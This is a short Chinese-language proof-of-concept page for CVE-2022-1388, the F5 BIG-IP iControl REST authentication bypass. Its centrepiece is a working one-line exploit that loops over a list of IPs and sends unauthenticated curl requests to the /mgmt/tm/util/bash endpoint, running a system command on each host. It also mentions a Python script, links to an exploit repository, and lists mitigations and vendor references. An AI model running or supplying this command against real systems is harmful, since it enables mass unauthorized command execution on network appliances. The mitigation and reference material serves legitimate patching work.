BIG-IP iControl REST 漏洞 CVE-2022-1388 PoC

该漏洞可能允许未经身份验证的攻击者通过网络访问BIG-IP系统的管理端口和/或自IP地址，从而执行任意系统命令、创建或删除文件或禁用服务

PoC

您可以使用以下单行curl命令检查F5 Big-IP漏洞，或使用提供的Python脚本。

cat ips.txt | while read ip; do curl -su admin -H "Content-Type: application/json" http://$ip/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}';done

受影响版本（Big-IP）

缓解措施

• 升级到```修复版本```列中列出的固定版本。（推荐方法）
• 通过自IP地址阻止iControl REST访问
• 通过管理接口阻止iControl REST访问
• 修改BIG-IP httpd配置

有关缓解措施的更多信息，请参阅参考资料。

参考资料

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388
• https://support.f5.com/csp/article/K23605346
• https://github.com/ZephrFish/F5-CVE-2022-1388-Exploit